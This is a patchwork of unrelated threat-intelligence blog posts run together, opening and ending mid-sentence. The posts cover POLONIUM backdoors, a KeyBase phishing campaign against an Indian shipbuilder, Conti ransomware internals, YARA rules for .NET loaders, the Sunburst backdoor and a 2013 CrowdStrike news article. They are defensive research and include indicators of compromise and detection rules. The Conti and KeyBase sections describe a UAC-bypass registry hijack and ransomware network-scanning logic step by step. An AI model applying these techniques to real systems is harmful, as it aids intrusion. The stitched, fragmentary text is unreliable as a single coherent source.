to disguise it.
# POLONIUM Targets Israel with Creepy Malware ESET researchers analyzed previously undocumented custom backdoors and cyberespionage tools deployed in Israel by the POLONIUM APT group. ESET researchers reveal their findings about POLONIUM, an advanced persistent threat (APT) group about which little information is publicly available and its initial compromise vector is unknown. POLONIUM is a cyberespionage group first documented by Microsoft Threat Intelligence Center (MSTIC) in June 2022. MSTIC’s assessment is that POLONIUM is an operational group based in Lebanon, coordinating its activities with other actors affiliated with Iran’s Ministry of Intelligence and Security (MOIS). According to ESET telemetry, POLONIUM has targeted more than a dozen organizations in Israel since at least September 2021, with the group’s most recent actions being observed in September 2022. Verticals targeted by this group include engineering, information technology, law, communications, branding and marketing, media, insurance, and social services. Our findings describing the tactics of this group, including details about a number of previously undocumented backdoors, were presented in late September at the Virus Bulletin 2022 conference. **Key points of this blog post:** - Focused only on Israeli targets, POLONIUM attacked more than a dozen organizations in various verticals such as engineering, information technology, law, communications, branding and marketing, media, insurance, and social services. - ESET Research’s POLONIUM findings were revealed at the Virus Bulletin 2022 conference in late September. - According to ESET telemetry, the group has used at least seven different custom backdoors since September 2021, and it is currently active at the time of writing. - The group has developed custom tools for taking screenshots, logging keystrokes, spying via the webcam, opening reverse shells, exfiltrating files, and more. - For C&C communication, POLONIUM abuses common cloud services such as Dropbox, OneDrive, and Mega. The numerous versions and changes POLONIUM introduced into its custom tools show a continuous and long-term effort to spy on the group’s targets. While we haven’t observed what commands were executed by operators on compromised machines, we can infer from their toolset that they are interested in collecting confidential data from their targets. The group doesn’t seem to engage in any sabotage or ransomware actions. As shown in Figure 1, POLONIUM’s toolset consists of seven custom backdoors: CreepyDrive, which abuses OneDrive and Dropbox cloud services for C&C; CreepySnail, which executes commands received from the attackers’ own infrastructure; DeepCreep and MegaCreep, which make use of Dropbox and Mega file storage services respectively; and FlipCreep, TechnoCreep, and PapaCreep, which receive commands from attacker’s servers. The group has also used several custom modules to spy on its targets. ## Initial Access While we don’t know how the group gained initial access to the targeted systems, some of the victims’ Fortinet VPN account credentials were leaked in September 2021 and were made available online. As such, it is possible that the attackers gained access to the victims’ internal networks by abusing those leaked VPN credentials. ## Toolset POLONIUM is an active group that constantly introduces modifications to its custom tools. We have seen more than 10 different malicious modules since we started tracking the group, most of them with various versions or with minor changes for a given version. Some of the most interesting characteristics of the group’s toolset are: - **Abundance of tools:** We have seen seven different custom backdoors used by the group since September 2021, and also saw many other malicious modules for logging keystrokes, taking screenshots, executing commands, taking photos with the webcam, or exfiltrating files. - **Custom tools:** In various attacks carried out by this group over a short period of time, we detected the same component containing minor changes. In some other cases, we have seen a module, coded from scratch, that followed the same logic as some previous components. Only in a few cases have we seen the group use publicly available tools or code. All of this indicates to us that POLONIUM builds and maintains its own tools. - **Cloud services:** The group abuses common cloud services such as Dropbox, OneDrive, and Mega for C&C communications (receive commands and exfiltrate data). - **Small components:** Most of the group’s malicious modules are small, with limited functionality. In one case the attackers used one module for taking screenshots and another for uploading them to the C&C server. On a similar note, they like to divide the code in their backdoors, distributing malicious functionality into various small DLLs, perhaps expecting that defenders or researchers will not observe the complete attack chain. ### CreepyDrive CreepyDrive is a PowerShell backdoor that reads and executes commands from a text file stored on OneDrive or Dropbox. It can upload or download files from attacker-controlled accounts in these cloud services, and execute supplied PowerShell code. CreepyDrive uses the OneDrive HTTP API (and the Dropbox HTTP API) to access the cloud storage. In both cases it uses a refresh token, client ID, and client secret (all hardcoded) to generate an access token that authenticates the user and grants access to the accounts. ### CreepySnail CreepySnail is another PowerShell backdoor that sends HTTP requests to a C&C server and receives and executes PowerShell commands. We saw various versions of this backdoor in the wild, though the differences between them were minimal. ### DeepCreep DeepCreep is a previously undocumented backdoor written in C# that reads commands from a text file stored in Dropbox accounts and can upload or download files to and from those accounts. Some versions of DeepCreep have obfuscated strings, some separate the code into DLLs, and some have more or less commands. A command to be executed by the backdoor is read from the file cd.txt on the server-side root folder of the victim; once read, the file is deleted from the cloud. DeepCreep runs this process in an infinite loop, which means that a new cd.txt file has to be placed in the cloud storage for every command to execute. If the file is not found, the backdoor sleeps then tries again. ### MegaCreep MegaCreep is a previously undocumented backdoor based on DeepCreep, with added functionalities. It reads and executes commands from a text file stored in Mega cloud storage. MegaCreep processes the same commands that we described for DeepCreep, but they are stored in AES-encrypted form in the file cd.txt. ### FlipCreep FlipCreep is another previously undocumented backdoor written in C# that has a very similar flow of execution as the other backdoors that we have described: it reads commands from orders.txt – a text file stored on an FTP server operated by POLONIUM – and can upload or download files from the server. ### TechnoCreep TechnoCreep is a previously undocumented C# backdoor that communicates with a C&C server via TCP sockets. In this case, commands are not read from a file, but received in an exchange of messages. ### PapaCreep PapaCreep is a previously undocumented custom backdoor written in C++ that can receive and execute commands from a remote server via TCP sockets. First seen in September 2022, this is the first backdoor used by POLONIUM that was not written in C# or PowerShell. ## Other Modules To spy on their victims, POLONIUM uses several other modules on top of their backdoors, including reverse shell modules and a module for creating a tunnel. ESET researchers have observed many variants of the modules that the group uses for taking screenshots. As for keyloggers, POLONIUM has used both custom and open-source ones. The group’s custom keylogger monitors keystrokes and clipboard contents and supports both Hebrew and Arabic keyboards. POLONIUM has also used a simple module that uses AForge.NET to take a snapshot from the webcam and save it in the TEMP folder. ## Network Infrastructure POLONIUM didn’t use domain names in any of the samples that we analyzed, only IP addresses. Most of the servers are dedicated VPS, likely purchased rather than compromised, hosted at HostGW. ## Conclusion POLONIUM is a very active threat actor with a vast arsenal of malware tools and is constantly modifying them and developing new ones. A common characteristic of several of the group’s tools is the abuse of cloud services such as Dropbox, Mega, and OneDrive for C&C communications. Intelligence and public reports about POLONIUM are very scarce and limited, likely because the group’s attacks are highly targeted, and the initial compromise vector is not known. ESET Research will continue to track its activities and document its attacks.
# Cyber Attack Targeting Indian Navy’s Submarine and Warship Manufacturer In my previous blog posts, I described attack campaigns targeting Indian government organizations, Indian Embassies, and the Ministry of External Affairs. In this blog post, I describe a new attack campaign where a cyber espionage group targeted the users of Mazagon Dock Shipbuilders Limited (also called the ship builder to the nation). Mazagon Dock Shipbuilders Limited (MDL) is a Public Sector Undertaking of the Government of India (Ministry of Defence) and specializes in manufacturing warships and submarines for the Indian Navy. In order to infect the users associated with Mazagon Dock Shipbuilders Limited (MDL), the attackers distributed spear-phishing emails containing a malicious Excel file which, when opened, drops malware capable of spying on infected systems. The email purported to have been sent from legitimate email IDs. The attackers spoofed the email ID associated with a Spain-based equipment manufacturing company, Hidrofersa, which specializes in designing and manufacturing naval, industrial, and mining machinery. ## Overview of the Malicious Emails On 26th January 2017, the Indian Navy displayed its state-of-the-art stealth guided missile destroyer INS Chennai and the indigenously-made Kalvari class Scorpene submarines at the Republic Day parade, showcasing India’s military strength and achievements. INS Chennai and Kalvari class submarines were manufactured by Mazagon Dock Shipbuilders Limited (MDL). On 25th January (the day before Republic Day), attackers spoofed an email ID associated with Hidrofersa, a Spain-based company, and sent the email to the users of Mazagon Dock Shipbuilders Limited (MDL). The email attachment contained two malicious Excel files (both files turned out to be the same but used different names). The email was made to look like it was sent by a General Service Manager of Hidrofersa inquiring about the product delivery schedule. Mazagon Dock Shipbuilders Limited (MDL) is listed as one of the clients of Hidrofersa (mentioned on Hidrofersa's website), and as per their website, Hidrofersa has shipped equipment to Mazagon Dock Shipbuilders Limited (MDL) in the past. This is probably the reason attackers spoofed the email ID of Hidrofersa, as it is less likely to trigger any suspicion, and there is a high chance of recipients opening the attachment as it is coming from a trusted equipment manufacturer. It looks like attackers carefully researched (or they already knew about) the trust relationship between these two companies. From the email, it looks like the goal of the attackers was to infect and take control of the systems of users associated with Mazagon Dock Shipbuilders Limited (MDL) and to steal sensitive information (like product design documents, blueprints, manufacturing processes, etc.) related to warships and submarines. ## Analysis of Malicious Excel File When the recipient of the email opens the attached Excel file, it prompts the user to enable macro content and also contains instructions on how to enable the macros. Once the macro content is enabled, it calls an auto-execute function `Workbook_Open()` which, in turn, downloads the malware sample and executes it on the system. The malicious macro code was reverse-engineered to understand its capabilities. The macro code was heavily obfuscated (used obscure variable/function names to make analysis harder). The macro also contained a lot of junk code, unnecessary comments, and variable assignments. The attackers used this technique to delay, divert, and confuse the manual analysis. The macro then decodes a string which runs a PowerShell script to download malware from a popular university site located in Indonesia. The attackers probably compromised the university website to host the malware. The technique of hosting malicious code on a legitimate site has advantages, as it is unlikely to trigger any suspicion in security monitoring and can also bypass reputation-based devices. The PowerShell script drops the downloaded executable in the `%TEMP%` directory as `doc6.exe`. It then adds a registry entry for the dropped executable and invokes `eventvwr.exe`, which is an interesting registry hijack technique that allows `doc6.exe` to be executed by `eventvwr.exe` with a high integrity level and also silently bypasses the UAC (User Account Control). This technique of UAC bypass is mentioned in the blog “Fileless” UAC Bypass Using `eventvwr.exe` and Registry Hijacking. Normally, when the `eventvwr.exe` process (which is running as a high integrity process) is invoked, it starts `mmc.exe`, which opens `eventvwr.msc`, causing the Event Viewer to be displayed. To start `mmc.exe`, `eventvwr.exe` searches the registry key `HKCU\Software\Classes\mscfile\shell\open\command` looking for `mmc.exe` before looking at `HKCR\mscfile\shell\open\command`. In this case, since this registry `HKCU\Software\Classes\mscfile\shell\open\command` was hijacked to contain the entry for `doc6.exe`, this will cause the `eventvwr.exe` process to invoke `doc6.exe` with a high integrity level. The dropped file (`doc6.exe`) was determined to be KeyBase malware. This malware can steal and send sensitive information to the attackers, such as keystrokes, opened applications, web browsing history, usernames/passwords, and upload Desktop screenshots. The feature of uploading the Desktop screenshot is notable because if the infected user opens a design or design document related to submarines or warships, the screenshot of that can be sent to the attacker. The attackers also hosted multiple samples of KeyBase malware on the compromised university website. ## Analysis of the Dropped Executable (doc6.exe) The dropped file was analyzed in an isolated environment (without actually allowing it to connect to the C2 server). This section contains the behavioral analysis of the dropped executable. Once the dropped file (`doc6.exe`) is executed, the malware copies itself into the `%AllUsersProfile%` directory as `Important.exe`. In addition to that, it also drops two files, `Mails.txt` and `Browsers.txt`, into the same directory. The malware then creates a registry value for the dropped file (`Important.exe`), ensuring that the malware is executed every time the system restarts. The malware, after execution, keeps track of user activity (like applications opened, files opened, etc.) but does not immediately generate any network traffic. This is to ensure that no network activity is generated during automated/sandbox analysis. After sleeping for a long time, the malware makes an HTTP connection to the C2 server (command & control server) and sends the tracked user activity to the attacker. ## C2 Communication Pattern Once the malware makes an HTTP connection after sleeping for a long time, it sends the system information and the tracked activity to the C2 server as HTTP parameters. The network communication pattern shows that the hostname and the machine time are sent to the C2 server. Every activity on the infected system is sent to the attacker, allowing the attacker to take further action. Since the open window title is sent to the attacker, this lets the attacker know about the documents opened and the tools running on the system or if any analysis tools are used to inspect the malware. ## C2 Domain Information This section contains the details of the C2 domain (tripleshop[.]id). All the 25 samples hosted on the compromised university site were analyzed, and it was determined that all these samples also communicated with the C2 domain tripleshop[.]id. The C2 domain was associated with only one IP address, which is associated with a hosting provider in Indonesia. ## Threat Intelligence Even though attackers tried to make it look like the spear-phishing email was sent by an email ID associated with Hidrofersa, inspecting the email headers revealed some interesting information. The `X-AuthUser` in the header revealed the identity of the sender, which is associated with a company named “Combined Freight (PVT) Limited” (combinedfreight[.]com). Combined Freight (PVT) Limited is a freight forwarding company headquartered in Karachi, Pakistan. Based on the information mentioned above, it looks like the spoofed email was sent by a user associated with a Pakistan-based company, Combined Freight (PVT) Limited. ## Indicators Of Compromise In this case, the cyber espionage group targeted Mazagon Dock Shipbuilders Limited (MDL), but it is possible that other defense equipment manufacturers could also be targeted as part of this attack campaign. The indicators associated with this attack are provided so that organizations (Government, Public, Private organizations, Defense, and Defense equipment manufacturers) can use these indicators to detect, remediate, and investigate this attack campaign. **Dropped Malware Sample:** - 08f2fc9cb30b22c765a0ca9433b35a46 **Samples hosted on the compromised University site:** - 6c94b4c7610d278bf8dfc3dbb5ece9ce - a81eaed8ae25f5fa5b107cbc6fe6e446 - 9a708879fd0a03d4089ee343c9254e5b - 069629248742f9d762f66568ba7bcec8 - 6455a43366f4da09429738076e7f289c - 34d5a3d6ae3c1836e0577b6f94ee0294 - 6eee8a69bc40b104931abdd68509df85 - 01c85dd7d8202765331a5cc818948213 - 42664aa65c473832a5c0df62c8b38d68 - 18e7480894149194f2cd17ee40d0ad7b - 575b4b449a12f2bed583f2a59485f776 - eae013aec7f45661223ea115ee38cc95 - 33b9c2c2cbecd4a4844057491b02379e - bf499821c935e67e0fb606915453a964 - 42e411bcb48240fb44c48327b81d8c57 - efaa8d161bbe6342204a5b1b22ed0c - 4623d0e188dc225de8dcd494c7802f7f - 3cba51905a78bd221a2433ee180111c0 - a6e6a131887c0cdbf67569e1320840d8 - 08f2fc9cb30b22c765a0ca9433b35a46 - 44b7aaea854a1a3a0addb521eb7c5eb9 - 22730ae47acc178c0445c486d16d7ae9 - 5b5edc209737b6faa3a6d6711fba1648 - bf5e7ea70c2dab12100b91d77ca76c2 - 34c44c9138a2d4c31391c2cc0b044c02 **Network Indicators Associated with C2:** - tripleshop[.]id - 103[.]229[.]74[.]32 **C2 Communication Patterns:** - hxxp://tripleshop[.]id/userfiles/media/pixum/okilo/post.php - hxxp://tripleshop[.]id/userfiles/media/pixum/agogo/post.php - hxxp://tripleshop[.]id/userfiles/media/pixum/alpha/post.php - hxxp://tripleshop[.]id/userfiles/media/pixum/ariri/post.php - hxxp://tripleshop[.]id/userfiles/media/pixum/bobby/post.php - hxxp://tripleshop[.]id/userfiles/media/pixum/chisom/post.php - hxxp://tripleshop[.]id/userfiles/media/pixum/crack/post.php - hxxp://tripleshop[.]id/userfiles/media/pixum/declan/post.php - hxxp://tripleshop[.]id/userfiles/media/pixum/elber/post.php - hxxp://tripleshop[.]id/userfiles/media/pixum/figure/post.php - hxxp://tripleshop[.]id/userfiles/media/pixum/henry/post.php - hxxp://tripleshop[.]id/userfiles/media/pixum/ike/post.php - hxxp://tripleshop[.]id/userfiles/media/pixum/jizzy/post.php - hxxp://tripleshop[.]id/userfiles/media/pixum/kcc/post.php - hxxp://tripleshop[.]id/userfiles/media/pixum/kc/post.php - hxxp://tripleshop[.]id/userfiles/media/pixum/matte/post.php - hxxp://tripleshop[.]id/userfiles/media/pixum/nels/post.php - hxxp://tripleshop[.]id/userfiles/media/pixum/notes/post.php - hxxp://tripleshop[.]id/userfiles/media/pixum/polish/post.php - hxxp://tripleshop[.]id/userfiles/media/pixum/turbo/post.php - hxxp://tripleshop[.]id/userfiles/media/pixum/whesilo/post.php - hxxp://tripleshop[.]id/userfiles/media/pixum/yboss/post.php - hxxp://tripleshop[.]id/userfiles/media/pixum/yg/post.php ## Conclusion Attackers in this case made every attempt to launch a clever attack campaign by spoofing legitimate email IDs and using an email theme relevant to the targets. The following factors in this cyber attack suggest the possible involvement of a Pakistan state-sponsored cyber espionage group to steal intellectual property such as design/blueprints and manufacturing data related to submarines and warships: - Victims/targets chosen (Submarine & Warship manufacturer for Indian Navy) - Use of Email theme related to the targets - Timing of the spear-phishing emails sent to the victims (The day before Republic Day) - Email header information indicating the possible Pakistan connection - Use of malware that is capable of spying and uploading screenshots - Use of TTPs (tactics, techniques & procedures) similar to the previous campaign The following factors reveal the attackers' intention to remain stealthy and the attempt to evade sandbox analysis, manual analysis, and security monitoring at both the desktop and network levels: - Use of obfuscated malicious macro code - Use of junk code (to divert the manual analysis) - Use of compromised university site to host malicious code (to bypass security monitoring) - Use of Silent UAC (User Account Control) bypass technique - Use of malware that sleeps for a long time without generating any network activity (to evade sandbox analysis) - Use of hosting provider to host C2 infrastructure Cyber espionage groups will continue targeting defense sectors and defense equipment manufacturers for the following reasons: - To steal defense-related information and proprietary product information that can provide their sponsoring governments with military and economic advantages. - To identify vulnerabilities in defense technologies to gain an advantage over adversaries' military capabilities. - To reduce their research and development costs and produce and sell similar products at lower prices.
# Conti Ransomware Source Code Investigation - Part 2 Hello, cybersecurity enthusiasts and white hackers! This post is the second part of the Conti ransomware source code self-investigation. ## Network Connections First of all, let’s go back a little to the logic of the encryptor: As you can see when the encryption mode is `ALL_ENCRYPT` or `NETWORK_ENCRYPT`, the malware retrieves info about the network. Let’s go to the definition of `StartScan`: The function `GetCurrentIpAddress` is just to get info about the current IP address. The function `GetSubnets` uses the `GetIpNetTable` API, which is called to restore the ARP table of the infected system. For each entry, the specified IPv4 addresses are checked against the following masks: If the current ARP matches these masks (`172.*`, `192.168.*`, `10.*`, `169.*`), the subnet is extracted and added to the subnet’s queue. The function `ScanHosts` tries a connection to IPv4 on the SMB port (445) using the TCP protocol. If the connection is successful, it saves the valid IPs via `AddHost` in a queue. And what about `HostHandler` and `PortScanHandler`? `HostHandler` waits for some valid IP in the IP’s queue and for each IP enumerates the shares using the `NetShareEnum` API. `PortScanHandler` (1) repeats the scan via `ScanHosts` (2) every 30 seconds (3). So, what happens when `network_scanner::StartScan` is called? 1. Add `172.*`, `192.168.*`, `10.*`, `169.*` subnet addresses to the queue. 2. Create two threads. 3. The first thread via `HostHandler` enumerates the shares. 4. The second thread via `PortScanHandler` tries to connect to SMB port 445; for each successful connection, it saves valid IPs and scans every 30 seconds. Concluding the execution, the `WaitForSingleObject` API is invoked on each thread to wait for the completion of operations before closing the main process and calling `CloseHandle` for cleanup. ## Filesystem In the filesystem module, there is a function `filesystem::EnumerateDrives`, which, as the name implies, scans drives. As you can see, it uses the `GetLogicalDriveStringsW` API. The logic of this function is used in the final enumeration during encryption. The malware uses a whitelist for both directories and files to avoid the encryption of unnecessary data. The following directory names and file names are avoided during the enumeration process: ## Yara Rules Let’s go to upload `locker.exe` to VirusTotal: 57 of 69 AV engines detect this sample as malware. Yara rule for Conti: ```yara rule Conti { meta: author = "kevoreilly" description = "Conti Ransomware" cape_type = "Conti Payload" strings: $crypto1 = {8A 07 8D 7F 01 0F B6 C0 B9 ?? 00 00 00 2B C8 6B C1 ?? 99 F7 FE 8D [2] 99 F7 FE 88 ?? FF 83 EB 01 75 DD} $website1 = "https://contirecovery.info" ascii wide $website2 = "https://contirecovery.best" ascii wide condition: uint16(0) == 0x5A4D and any of them } ``` I hope this post spreads awareness to the blue teamers of these interesting malware techniques and adds a weapon to the red teamers' arsenal. This is a practical case for educational purposes only. Thanks for your time, happy hacking, and goodbye! PS. All drawings and screenshots are mine.
# DotNET Loaders **Threat Research | March 12, 2021** **Author: Robert Simmons, Independent malware researcher and threat researcher at ReversingLabs.** Many families of remote access trojan (RAT) are .NET executables. As was observed in the blog post about RevengeRAT among others, much of this malware is delivered in another .NET executable with the payload encoded as an embedded text string. These RATs, when they're encoded as text and posted to pastebin-like sites, are tracked by Scumbots. An additional method of hunting for this type of dropper or loader is to leverage the dotnet module in YARA. This module is a parser for .NET executables and presents the parsed components that it finds as a dataset inside YARA that can then be leveraged in the conditions section of a rule. In the following analysis, this parsed dataset and the user strings entry in particular are used to identify .NET executables that have another PE executable encoded as one of those user strings. ## Making the Rule The first step is to examine one of the .NET loaders in question. The examples here show a sample that delivers RevengeRAT according to Malpedia analysis of the payload contained within it. This embedded and encoded PE file can be seen in the screenshot of the loader as analyzed by dnSpy. This encoded string is also visible in the debug data returned by YARA on the command line. The "-D" command line switch shows all the data that any loaded modules have available. This is an extremely powerful feature for building rules because one can essentially see what YARA sees in a file and use that to build conditions for your new rules. The output from this command line switch when applied to the .NET sample above is shown in the debugging output, with the string containing the encoded payload highlighted. Using these characters, the base of the regular expression is the following: `/4\x00D\x005\x00A\x00/` In addition to the above, two constraints can be included to reduce false positives. First, the carrot metacharacter `^` is added as the first character in the regex to make sure that only matches at the beginning of the string are possible. Second, a dot wildcard that matches any character with a repetition of 186 or more times is added to the end of the regular expression. The number chosen here for the repetition is based on research done on the smallest possible PE file with that size being 97 bytes. This number is doubled because of the interspersed null bytes and the four characters of the PE magic number along with its accompanying null bytes are subtracted from the total. `186 = (2 * 97) - 8` Putting these parts together, the regular expression is the following: `/^4\x00D\x005\x00A\x00.{186,}/` Next, we need to account for capitalization. Some of the samples use an all lowercase alphabet to encode the embedded PE file. To account for that, two small character sets must be used in place of the "D" and "A" characters in the regular expression. After making this change, the regular expression is the following: `/^4\x00[dD]\x005\x00[aA]\x00.{186,}/` Finally, this regular expression needs to be applied to each of the user strings that YARA's dotnet module parses out of a file. With the release of YARA 4.0, the syntax for iterating over this type of structure is really simple and easy to use. Since the user strings are a zero-based array, one can iterate over them directly. The condition that iterates over each entry in this array and applies the regular expression to each entry in the array is the following: ``` for any str in dotnet.user_strings : ( str matches /^4\x00[dD]\x005\x00[aA]\x00.{186,}/ ) ``` Putting this all together yields the YARA rule shown below. This rule is provided at the end of the blog. If one is using an older version of YARA, the following syntax achieves the same results: ``` for any i in (0..dotnet.number_of_user_strings-1) : ( dotnet.user_strings[i] matches /^4\x00[dD]\x005\x00[aA]\x00.{186,}/ ) ``` Running this rule as a retro hunt in the Titanium Platform results in thousands of files that are detected as malicious or suspicious with very few files that are undetected. One question to ask when presented with good results like this is whether this technique is used in legitimate software. According to a question of how to include a Windows DLL in a .NET project posted on StackOverflow, this data should be packaged as a resource. The technique analyzed in these samples is definitely non-standard. ## Static Extraction The next step is to extract all the embedded payloads from all these files and see what is there. To do this, a fascinating feature of the yara-python package is used: the modules_callback parameter of a YARA rule match object. The beauty of this parameter is that it allows a function with whatever code one wants to run to be executed if a rule matches. Inside that function, the data returned from a YARA module is made available to the function in the form of a data dictionary. The specific callback function used to extract many of the payloads from the hunting results dataset is shown below. This callback function extracts the very most basic form of encoding encountered in these files. There are additional obfuscation techniques observed in the dataset where additional character replacements are required to recover the payload in its original form. These additional techniques will be examined in a future blog post, but many of the resulting extractions from these techniques are included in the IOC data provided below. ## Correcting the Record After as many files as can be extracted with the python callback function as possible have been analyzed along with their parent loaders, the resulting analysis dataset is loaded into an Elasticsearch instance for easier analysis. Sorting the parent loaders by the threat level reveals a few files with a zero score. The example shown is a really old file, so the detection may be stale. Running this file in a sandbox shows that it is some type of hacking tool and definitely something that one would consider at least suspicious if not malicious. Therefore, the Titanium Platform provides a way to correct the record and freshen an old analysis result such as this. To do this, open the file in the A1000, and click the "Reanalyze" button. As can be seen, the threat level is now shown to be 2 rather than zero. ## General Analysis As mentioned above, there are a few files that use more complex obfuscation techniques in addition to the embedding analyzed here. Even with these files excluded, a group of 1,641 loaders and their corresponding payloads are identified. A few files from this dataset along with the timeframe of the results from 2011 to now are shown. The cluster IDs shown above are assigned per unique payload to the payload and each of the unique parent files that have the same embedded payload. These cluster IDs are randomly generated UUIDs per payload. The full dataset including the cluster data and threat names is provided at the end of the blog. The breakdown of the embedded files by file type according to libmagic shows the files fairly evenly split between DLLs and EXEs. ## Conclusion The technique of encoding an executable as a text string using various encoding techniques is widely used by the adversaries who post the resulting strings on pastebin-like sites. It is interesting that some of the same string encoding techniques used by these adversaries to hide payloads on download sites across the internet are also found inside the delivery binaries. This obfuscation can definitely provide some cover from detection. To identify binaries that leverage this technique, YARA's dotnet module provides the best methods available. What was shown above is just the most simple and basic encoding technique. Further research into other encodings such as Base64 will be the topic of future blog posts. ## YARA Rule ```yara import "dotnet" rule DotNet_EmbeddedPE { meta: author = "Malware Utkonos" date = "2021-01-18" description = "This detects a PE embedded in a .NET executable." condition: for any str in dotnet.user_strings : ( str matches /^4\x00[dD]\x005\x00[aA]\x00.{186,}/ ) } ```
# Overview of Recent Sunburst Targeted Attacks ## Cyber Threats Various sources have recently disclosed a sophisticated attack that hit organizations via the supply chain through a compromised network monitoring program. This post discusses what the Sunburst backdoor is and what you can do now to mitigate this threat. ### What is Sunburst? Sunburst is a sophisticated backdoor that provides an attacker nearly complete control over an affected system. It has several peculiarities in its behavior. Before it runs, it checks that the process name hash and a registry key have been set to specific values. It will only run if the execution time is twelve or more days after the system was first infected and only on systems that have been attached to a domain. This specific set of circumstances makes analysis by researchers more difficult, but it also limits the scope of its victims to some degree. It connects back to its command-and-control server via various domains, which take the following format: `{random strings}.appsync-api.{subdomain}.avsvmcloud.com` The subdomain is one of the following strings: - eu-west-1 - eu-west-2 - us-east-1 - us-east-2 Once in a system, it can both gather information about the affected system and execute various commands. The gathered information includes: - Domain name - Network interfaces - Running processes/services - Installed drivers This gathered information is used either to generate a user ID for the affected machine or to check against blocklists. If certain drivers, processes, or services are found on the machine, the backdoor will cease to function. The commands that can be executed include: - Registry operations (read, write, and delete registry keys/entries) - File operations (read, write, and delete files) - Run/stop processes - Reboot the system ### What is Supernova? Supernova, one of the malicious components associated with the attack, is a .NET web shell backdoor that presents itself as a legitimate SolarWinds web service handler. It is a second-stage payload in the attack. Once running, it inspects and responds to HTTP requests with appropriate HTTP query strings, cookies, and HTML form values. It can also execute web shell commands via a specific HTTP request format. ### Who is affected? It is believed that Sunburst was delivered via a trojanized version of the Orion network monitoring application. According to SEC filings by SolarWinds, threat actors inserted the malicious code into otherwise legitimate code, which means anyone who downloaded the software was potentially at risk. This was done as part of the build process; the source code repository was not affected. According to the SolarWinds SEC filing, this trojanized version was downloaded by under 18,000 customers from March to June of 2020. Once this malicious code is present in a system, it runs the behavior described in the first part of this post. Multiple organizations, including US government agencies, have reported that they were affected by this campaign. ### Solutions In a security advisory, SolarWinds advised all of their affected customers to immediately update their software to versions that do not contain the malicious code. The advisory also lists the appropriate products and their versions. In addition to this, the US Department of Homeland Security, in a directive to US government agencies, ordered that systems with the said software be taken offline and not reconnected to networks until they have been rebuilt. The directive treats agencies to treat said machines as compromised, with credentials used by said machines to be changed as well. Organizations that use SolarWinds Orion within their network may consider similar steps. The malicious files associated with this attack are already detected by the appropriate Trend Micro products as Backdoor.MSIL.SUNBURST.A and Trojan.MSIL.SUPERNOVA.A. In addition to this, the entirety of the domain avsvmcloud.com has been blocked. If you believe that your organization may have been affected by this campaign, visit the available Trend Micro solutions that can help detect and mitigate any risks from this campaign. If you’re a Trend Micro Apex One customer, check your product console for a notification to scan your environment for attack indicators of this campaign. ### Indicators of Compromise The following hashes are associated with this campaign and are detected by Trend Micro products: - SHA256: 019085a76ba7126fff22770d71bd901c325fc68ac55aa743327984e89f4b0134 SHA1: 2f1a5a7411d015d01aaee4535835400191645023 Trend Micro: Backdoor.M - SHA256: c15abaf51e78ca56c0376522d699c978217bf041a3bd3c71d09193efa5717c71 SHA1: 75af292f34789a1c782ea36c7127bf6106f595e8 Trend Micro: Trojan.MSIL - SHA256: ce77d116a074dab7a22a0fd4f2c1ab475f16eec42e1ded3c0b0aa8211fe858d6 SHA1: d130bd75645c2433f88ac03e73395fba172ef676 Trend Micro: Backdoor.M - SHA256: 32519b85c0b422e4656de6e6c41878e95fd95026267daab4215ee59c107d6c77 SHA1: 76640508b1e7759e548771a5359eaed353bf1eec Trend Micro: Backdoor.M - SHA256: d0d626deb3f9484e649294a8dfa814c5568f846d5aa02d4cdad5d041a29d5600 SHA1: 1b476f58ca366b54f34d714ffce3fd73cc30db1a Trend Micro: Backdoor.M The following domain names are associated with this campaign and are also blocked: - avsvmcloud.com - databasegalore.com - deftsecurity.com - highdatabase.com - incomeupdate.com - panhardware.com - thedoccloud.com - zupertech.com
# CrowdStrike Falcon Traces Attacks Back To Hackers **Mathew J. Schwartz** June 17, 2013 The Syrian Electronic Army: 9 Things We Know Who's launching online attacks against your network? How can you better detect those attacks and, if an attack turns out to be successful, identify what was stolen? Enabling businesses to answer those questions is the premise of a cloud-based service announced Tuesday by security startup CrowdStrike. Dubbed Falcon, the big-data "active defense platform" is designed to identify intrusions in real time, attribute attacks—correlate with a known group of attackers—and help businesses block attacks or even engage in counterintelligence or deception by feeding attackers fake information. "This is the real-time damage assessment that no one is doing today," said Dmitri Alperovitch, the co-founder and CTO of CrowdStrike, speaking by phone. "It shows you who the adversary is, what did they do [on your network], what did they take, which commands did they execute?" The service works in part by running a small (400 KB) "sensor" on Windows 7 and Mac OS X systems, bolstered by DNS, email, and API sensors on servers, to track the types of attacks that are being launched. CrowdStrike then correlates attack information with intelligence that the company gathers on attack groups. As highlighted by successful spear-phishing attacks against everyone from security giant RSA to the White House, stopping every last information security attack might be impossible. So-called advanced persistent threat (APT) groups often use fake emails and attachments to infect targeted PCs and steal data, oftentimes without end users or security teams being aware. Once attackers infect a single PC, unless they're detected, they can lurk in corporate networks indefinitely: telecommunications giant Nortel was compromised for 10 years, defense contractor QinetiQ for three years. Such attacks are cheap to build and inexpensive to launch. Even if only one attack out of every 100 or 1,000 attempts succeeds, that might equal success for attackers. Given that reality, CrowdStrike's play is to help businesses identify not just when they've been attacked, but also who stole the information, what they stole, and why they targeted the business in the first place—what's their bigger goal? "The problem you've had for the past six to seven years is the emergence of targeted attackers, and for them, it doesn't matter how many layers of defense you put in place; what they want is you," said Alperovitch. "They want money, national secrets, intellectual property, and they're going to worm their way in, because the return on that investment is gigantic." Could defenders gain an edge by better understanding their attackers? "From an adversary perspective, we really focus on the targeted attackers," said Alperovitch. "We're tracking lots of nation-state-sponsored groups that are working to penetrate companies," he said, and "understanding their campaigns, and tradecraft, as well as who they're targeting." CrowdStrike has grouped attackers into "adversary groups"—to date, about 48 in total—named for country characteristics: "pandas" for groups operating from China; "cats" as in Persian cats for Iran; "bears" for Russia; "saints" for Georgia; and "tigers" for India. "Some in the community refer to the adversary by the malware detection name from a specific antivirus vendor, e.g., Hydraq," said Adam Meyers, director of intelligence at CrowdStrike, in a blog post, referring to the name of the malware used in the so-called Aurora attacks against Google. "This is sometimes useful, but when the adversary is using a malware that is detected as Generic.Downloader.234, you have a much harder time communicating," Meyers said. CrowdStrike recommends that businesses use its intelligence on online adversaries to identify and focus on the attackers they're most likely to face. "For example, if you're in the financial service industry, you'll care about Big Panda, which is going after financial services firms, but not Karma Panda that's going after dissident groups," said Alperovitch. "If you're trying to go after everyone and defend against everything, you're really defending against nothing." For instance, one group that CrowdStrike has been tracking—dubbed Anchor Panda—has launched 124 attacks over the past six months, many of which appear to be aimed in part at building out deep-sea capabilities. Adam Meyers, head of intelligence for CrowdStrike, recently told *The 